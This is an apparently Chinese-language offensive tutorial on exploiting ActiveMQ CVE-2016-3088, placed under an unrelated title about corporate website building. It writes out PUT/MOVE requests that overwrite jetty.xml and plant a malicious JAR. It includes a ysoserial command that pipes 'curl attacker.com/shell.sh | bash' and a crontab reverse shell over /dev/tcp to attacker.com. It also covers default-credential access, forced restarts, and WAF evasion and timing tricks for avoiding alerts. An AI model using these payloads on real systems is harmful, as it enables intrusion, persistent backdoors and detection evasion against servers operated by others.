企业官网建设流程全解析

突破常规：CVE-2016-3088漏洞的深度利用与对抗实践

当大多数安全从业者还在讨论如何通过CVE-2016-3088上传Webshell时，真正的攻击者早已转向更隐蔽、更持久的入侵路径。本文将带你跳出传统思维框架，探索三种鲜少被公开讨论的高阶利用方式，以及如何绕过现代防御体系的实战技巧。

1. 漏洞原理的再思考：从文件操作到系统控制

ActiveMQ的fileserver组件设计初衷是解决二进制文件传输问题，但其PUT和MOVE方法的组合却意外创造了任意文件写入的可能性。不同于常见的Webshell上传，我们需要更深入地理解这个漏洞的核心：

• PUT方法：允许将文件上传到fileserver临时目录，但该目录不解析动态脚本
• MOVE方法：支持将文件移动到服务器任意位置，包括关键系统目录
• 权限上下文：操作执行在ActiveMQ服务账户权限下，通常不是root但具备关键目录写入权

传统利用方式的最大局限在于：

1. Webshell需要admin/api应用解析，而这些路径需要认证
2. Crontab方法在非root环境下往往失效
3. 直接写入可执行文件受限于权限和路径随机性

2. 持久化后门：jetty.xml配置注入技术

最优雅的攻击往往通过"合法"渠道实现。ActiveMQ使用Jetty作为web容器，其配置文件jetty.xml是绝佳的后门载体。

2.1 定位配置文件路径

首先需要确定jetty.xml的准确位置，常见路径包括：

/opt/activemq/conf/jetty.xml /usr/local/activemq/conf/jetty.xml /etc/activemq/jetty.xml

可通过以下方法获取路径：

GET /admin/test/systemProperties.jsp HTTP/1.1 Host: target:8161 Authorization: Basic YWRtaW46YWRtaW4=

2.2 构造恶意配置文件

在jetty.xml中插入SystemProperty配置可实现代码执行：

<New id="Malicious" class="org.eclipse.jetty.server.handler.ContextHandler"> <Set name="contextPath">/backdoor</Set> <Set name="handler"> <New class="org.eclipse.jetty.server.handler.ResourceHandler"> <Set name="resourceBase"> <SystemProperty name="user.home" default="/tmp"/> </Set> <Set name="directoriesListed">true</Set> </New> </Set> </New>

2.3 完整攻击流程

1. 上传精心构造的jetty.xml到fileserver：

PUT /fileserver/config.xml HTTP/1.1 Host: target:8161 Content-Length: 1024 [恶意xml内容]

2. 移动文件覆盖原配置：

MOVE /fileserver/config.xml HTTP/1.1 Destination: file:///opt/activemq/conf/jetty.xml Host: target:8161

3. 重启ActiveMQ服务或等待自动加载：

curl -X POST --data "shutdown=Restart" http://admin:admin@target:8161/api/shutdown

注意：现代部署中可能采用systemd管理服务，重启操作可能触发告警，建议结合定时任务在低峰期执行

3. 类路径污染：JAR注入攻击技术

当直接修改配置不可行时，通过污染类路径实现代码执行是更隐蔽的选择。

3.1 识别关键JAR位置

ActiveMQ依赖的关键JAR通常位于：

/opt/activemq/lib/ /usr/share/activemq/lib/

3.2 构造恶意JAR包

使用ysoserial生成包含后门的JAR：

java -jar ysoserial.jar CommonsCollections5 "curl http://attacker.com/shell.sh | bash" > malicious.jar

3.3 实施攻击

1. 上传恶意JAR：

PUT /fileserver/evil.jar HTTP/1.1 Host: target:8161 Content-Type: application/java-archive Content-Length: [实际大小] [恶意JAR内容]

2. 移动到lib目录：

MOVE /fileserver/evil.jar HTTP/1.1 Destination: file:///opt/activemq/lib/evil.jar Host: target:8161

3. 触发类加载：

• 等待服务重启
• 通过管理接口触发功能调用
• 发送特殊构造的消息触发反序列化

4. 权限提升：非Root环境下的突围策略

当遇到受限权限时，可尝试以下技术组合：

4.1 信息收集技术

收集系统环境信息：

GET /admin/test/systemProperties.jsp HTTP/1.1 Host: target:8161 Authorization: Basic YWRtaW46YWRtaW4=

关键信息包括：

• Java版本
• 操作系统内核版本
• 已安装的第三方组件
• 网络拓扑结构

4.2 组合利用技术矩阵

根据环境选择提权路径：

4.3 用户级定时任务实现

即使没有root权限，也可以利用用户cron：

PUT /fileserver/usercron HTTP/1.1 Host: target:8161 Content-Length: 123 * * * * * /bin/bash -c 'exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do $line 2>&5 >&5; done'

移动文件到用户cron目录：

MOVE /fileserver/usercron HTTP/1.1 Destination: file:///var/spool/cron/crontabs/activemq Host: target:8161

5. 防御规避：对抗WAF的实战技巧

现代WAF通常会检测以下特征：

• 异常的PUT/MOVE组合
• 敏感路径关键字（如/etc, /root）
• 常见的恶意payload模式

5.1 请求变形技术

1. 方法伪装：

POST /fileserver/../;a=evil.jsp HTTP/1.1 X-HTTP-Method-Override: PUT

2. 路径混淆：

MOVE /fileserver/../../a/../../test.txt HTTP/1.1 Destination: file:///opt///activemq///webapps///api///s.jsp

3. 编码转换：

PUT /fileserver/%45%76%69%6c%2e%6a%73%70 HTTP/1.1

5.2 流量分散技术

将攻击步骤拆分为多个低特征请求：

1. 先上传无害文件
2. 多次重命名转移
3. 最后移动到目标位置

5.3 时间延迟策略

• 在非工作时间执行操作
• 使用sleep命令延迟恶意代码执行
• 分阶段投放payload

在实际渗透测试中，我们发现最有效的防御规避往往不是技术层面的突破，而是对正常业务流量的巧妙模仿。通过研究目标系统的合法API调用模式，可以构造出几乎无法被规则检测的恶意请求。